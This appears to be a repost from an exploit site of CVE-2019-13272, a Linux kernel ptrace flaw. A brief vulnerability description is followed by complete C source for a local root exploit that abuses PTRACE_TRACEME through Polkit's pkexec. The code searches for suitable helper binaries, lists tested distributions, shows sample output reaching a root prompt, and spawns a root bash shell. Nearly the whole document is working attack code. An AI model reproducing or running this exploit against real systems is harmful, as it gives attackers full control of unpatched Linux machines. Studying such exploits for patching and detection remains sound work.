原文链接:https://0day.life/exploit/0day-636.html
DescriptionIn the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit’s pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments. POC
- // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
- // Uses pkexec technique
- // ---
- // Original discovery and exploit author: Jann Horn
- // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
- // ---
- // <bcoles@gmail.com>
- // - added known helper paths
- // - added search for suitable helpers
- // - added automatic targeting
- // - changed target suid exectuable from passwd to pkexec
- // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
- // ---
- // Tested on:
- // - Ubuntu 16.04.5 kernel 4.15.0-29-generic
- // - Ubuntu 18.04.1 kernel 4.15.0-20-generic
- // - Ubuntu 19.04 kernel 5.0.0-15-generic
- // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
- // - Linux Mint 19 kernel 4.15.0-20-generic
- // - Debian 9.4.0 kernel 4.9.0-6-amd64
- // - Debian 10.0.0 kernel 4.19.0-5-amd64
- // - Devuan 2.0.0 kernel 4.9.0-6-amd64
- // - SparkyLinux 5.8 kernel 4.19.0-5-amd64
- // - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
- // - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
- // - Mageia 6 kernel 4.9.35-desktop-1.mga6
- // - Antergos 18.7 kernel 4.17.6-1-ARCH
- // ---
- // user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
- // user@linux-mint-19-2:~$ ./ptrace_traceme_root
- // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
- // [.] Checking environment ...
- // [~] Done, looks good
- // [.] Searching for known helpers ...
- // [~] Found known helper: /usr/sbin/mate-power-backlight-helper
- // [.] Using helper: /usr/sbin/mate-power-backlight-helper
- // [.] Spawning suid process (/usr/bin/pkexec) ...
- // [.] Tracing midpid ...
- // [~] Attached to midpid
- // To run a command as administrator (user "root"), use "sudo <command>".
- // See "man sudo_root" for details.
- //
- // root@linux-mint-19-2:/home/user#
- // ---
-
- #define _GNU_SOURCE
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <signal.h>
- #include <stdio.h>
- #include <fcntl.h>
- #include <sched.h>
- #include <stddef.h>
- #include <stdarg.h>
- #include <pwd.h>
- #include <sys/prctl.h>
- #include <sys/wait.h>
- #include <sys/ptrace.h>
- #include <sys/user.h>
- #include <sys/syscall.h>
- #include <sys/stat.h>
- #include <linux/elf.h>
-
- #define DEBUG
-
- #ifdef DEBUG
- # define dprintf printf
- #else
- # define dprintf
- #endif
-
- #define SAFE(expr) ({ \
- typeof(expr) __res = (expr); \
- if (__res == -1) { \
- dprintf("[-] Error: %s\n", #expr); \
- return 0; \
- } \
- __res; \
- })
- #define max(a,b) ((a)>(b) ? (a) : (b))
-
- static const char *SHELL = "/bin/bash";
-
- static int middle_success = 1;
- static int block_pipe[2];
- static int self_fd = -1;
- static int dummy_status;
- static const char *helper_path;
- static const char *pkexec_path = "/usr/bin/pkexec";
- static const char *pkaction_path = "/usr/bin/pkaction";
- struct stat st;
-
- const char *helpers[1024];
-
- const char *known_helpers[] = {
- "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
- "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
- "/usr/lib/unity-settings-daemon/usd-backlight-helper",
- "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
- "/usr/sbin/mate-power-backlight-helper",
- "/usr/bin/xfpm-power-backlight-helper",
- "/usr/bin/lxqt-backlight_backend",
- "/usr/libexec/gsd-wacom-led-helper",
- "/usr/libexec/gsd-wacom-oled-helper",
- "/usr/libexec/gsd-backlight-helper",
- "/usr/lib/gsd-backlight-helper",
- "/usr/lib/gsd-wacom-led-helper",
- "/usr/lib/gsd-wacom-oled-helper",
- };
-
- /* temporary printf; returned pointer is valid until next tprintf */
- static char *tprintf(char *fmt, ...) {
- static char buf[10000];
- va_list ap;
- va_start(ap, fmt);
- vsprintf(buf, fmt, ap);
- va_end(ap);
- return buf;
- }
-
- /*
- * fork, execute pkexec in parent, force parent to trace our child process,
- * execute suid executable (pkexec) in child.
- */
- static int middle_main(void *dummy) {
- prctl(PR_SET_PDEATHSIG, SIGKILL);
- pid_t middle = getpid();
-
- self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
-
- pid_t child = SAFE(fork());
- if (child == 0) {
- prctl(PR_SET_PDEATHSIG, SIGKILL);
-
- SAFE(dup2(self_fd, 42));
-
- /* spin until our parent becomes privileged (have to be fast here) */
- int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
- char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
- while (1) {
- char buf[1000];
- ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
- buf[buflen] = '\0';
- if (strstr(buf, needle)) break;
- }
-
- /*
- * this is where the bug is triggered.
- * while our parent is in the middle of pkexec, we force it to become our
- * tracer, with pkexec's creds as ptracer_cred.
- */
- SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
-
- /*
- * now we execute a suid executable (pkexec).
- * Because the ptrace relationship is considered to be privileged,
- * this is a proper suid execution despite the attached tracer,
- * not a degraded one.
- * at the end of execve(), this process receives a SIGTRAP from ptrace.
- */
- execl(pkexec_path, basename(pkexec_path), NULL);
-
- dprintf("[-] execl: Executing suid executable failed");
- exit(EXIT_FAILURE);
- }
-
- SAFE(dup2(self_fd, 0));
- SAFE(dup2(block_pipe[1], 1));
-
- /* execute pkexec as current user */
- struct passwd *pw = getpwuid(getuid());
- if (pw == NULL) {
- dprintf("[-] getpwuid: Failed to retrieve username");
- exit(EXIT_FAILURE);
- }
-
- middle_success = 1;
- execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
- helper_path,
- "--help", NULL);
- middle_success = 0;
- dprintf("[-] execl: Executing pkexec failed");
- exit(EXIT_FAILURE);
- }
-
- /* ptrace pid and wait for signal */
- static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
- struct user_regs_struct regs;
- struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
- SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
- SAFE(waitpid(pid, &dummy_status, 0));
- SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
-
- /* set up indirect arguments */
- unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
- struct injected_page {
- unsigned long argv[2];
- unsigned long envv[1];
- char arg0[8];
- char path[1];
- } ipage = {
- .argv = { scratch_area + offsetof(struct injected_page, arg0) }
- };
- strcpy(ipage.arg0, arg0);
- for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
- unsigned long pdata = ((unsigned long *)&ipage)[i];
- SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
- (void*)pdata));
- }
-
- /* execveat(exec_fd, path, argv, envv, flags) */
- regs.orig_rax = __NR_execveat;
- regs.rdi = exec_fd;
- regs.rsi = scratch_area + offsetof(struct injected_page, path);
- regs.rdx = scratch_area + offsetof(struct injected_page, argv);
- regs.r10 = scratch_area + offsetof(struct injected_page, envv);
- regs.r8 = AT_EMPTY_PATH;
-
- SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
- SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
- SAFE(waitpid(pid, &dummy_status, 0));
- }
-
- static int middle_stage2(void) {
- /* our child is hanging in signal delivery from execve()'s SIGTRAP */
- pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
- force_exec_and_wait(child, 42, "stage3");
- return 0;
- }
-
- // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
-
- static int spawn_shell(void) {
- SAFE(setresgid(0, 0, 0));
- SAFE(setresuid(0, 0, 0));
- execlp(SHELL, basename(SHELL), NULL);
- dprintf("[-] execlp: Executing shell %s failed", SHELL);
- exit(EXIT_FAILURE);
- }
-
- // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
-
- static int check_env(void) {
- const char* xdg_session = getenv("XDG_SESSION_ID");
-
- dprintf("[.] Checking environment ...\n");
-
- if (stat(pkexec_path, &st) != 0) {
- dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
- exit(EXIT_FAILURE);
- }
- if (stat(pkaction_path, &st) != 0) {
- dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
- exit(EXIT_FAILURE);
- }
- if (xdg_session == NULL) {
- dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
- return 1;
- }
- if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
- dprintf("[!] Warning: Could not find active PolKit agent\n");
- return 1;
- }
-
- dprintf("[~] Done, looks good\n");
-
- return 0;
- }
-
- /*
- * Use pkaction to search PolKit policy actions for viable helper executables.
- * Check each action for allow_active=yes, extract the associated helper path,
- * and check the helper path exists.
- */
- int find_helpers() {
- char cmd[1024];
- snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
- FILE *fp;
- fp = popen(cmd, "r");
- if (fp == NULL) {
- dprintf("[-] Failed to run: %s\n", cmd);
- exit(EXIT_FAILURE);
- }
-
- char line[1024];
- char buffer[2048];
- int helper_index = 0;
- int useful_action = 0;
- static const char *needle = "org.freedesktop.policykit.exec.path -> ";
- int needle_length = strlen(needle);
-
- while (fgets(line, sizeof(line)-1, fp) != NULL) {
- /* check the action uses allow_active=yes*/
- if (strstr(line, "implicit active:")) {
- if (strstr(line, "yes")) {
- useful_action = 1;
- }
- continue;
- }
-
- if (useful_action == 0)
- continue;
- useful_action = 0;
-
- /* extract the helper path */
- int length = strlen(line);
- char* found = memmem(&line[0], length, needle, needle_length);
- if (found == NULL)
- continue;
-
- memset(buffer, 0, sizeof(buffer));
- for (int i = 0; found[needle_length + i] != '\n'; i++) {
- if (i >= sizeof(buffer)-1)
- continue;
- buffer[i] = found[needle_length + i];
- }
-
- if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
- strstr(&buffer[0], "/cpugovctl") != 0 ||
- strstr(&buffer[0], "/package-system-locked") != 0 ||
- strstr(&buffer[0], "/cddistupgrader") != 0) {
- dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
- continue;
- }
-
- /* check the path exists */
- if (stat(&buffer[0], &st) != 0)
- continue;
-
- helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
- helper_index++;
-
- if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
- break;
- }
-
- pclose(fp);
- return 0;
- }
-
- // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
-
- int ptrace_traceme_root() {
- dprintf("[.] Using helper: %s\n", helper_path);
-
- /*
- * set up a pipe such that the next write to it will block: packet mode,
- * limited to one packet
- */
- SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
- SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
- char dummy = 0;
- SAFE(write(block_pipe[1], &dummy, 1));
-
- /* spawn pkexec in a child, and continue here once our child is in execve() */
- dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
- static char middle_stack[1024*1024];
- pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
- CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
- if (!middle_success) return 1;
-
- /*
- * wait for our child to go through both execve() calls (first pkexec, then
- * the executable permitted by polkit policy).
- */
- while (1) {
- int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
- char buf[16];
- int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
- buf[buflen] = '\0';
- *strchrnul(buf, '\n') = '\0';
- if (strncmp(buf, basename(helper_path), 15) == 0)
- break;
- usleep(100000);
- }
-
- /*
- * our child should have gone through both the privileged execve() and the
- * following execve() here
- */
- dprintf("[.] Tracing midpid ...\n");
- SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
- SAFE(waitpid(midpid, &dummy_status, 0));
- dprintf("[~] Attached to midpid\n");
-
- force_exec_and_wait(midpid, 0, "stage2");
- exit(EXIT_SUCCESS);
- }
-
- int main(int argc, char **argv) {
- if (strcmp(argv[0], "stage2") == 0)
- return middle_stage2();
- if (strcmp(argv[0], "stage3") == 0)
- return spawn_shell();
-
- dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
-
- check_env();
-
- if (argc > 1 && strcmp(argv[1], "check") == 0) {
- exit(0);
- }
-
- /* Search for known helpers defined in 'known_helpers' array */
- dprintf("[.] Searching for known helpers ...\n");
- for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
- if (stat(known_helpers[i], &st) == 0) {
- helper_path = known_helpers[i];
- dprintf("[~] Found known helper: %s\n", helper_path);
- ptrace_traceme_root();
- }
- }
-
- /* Search polkit policies for helper executables */
- dprintf("[.] Searching for useful helpers ...\n");
- find_helpers();
- for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
- if (helpers[i] == NULL)
- break;
-
- if (stat(helpers[i], &st) == 0) {
- helper_path = helpers[i];
- ptrace_traceme_root();
- }
- }
-
- return 0;
- }
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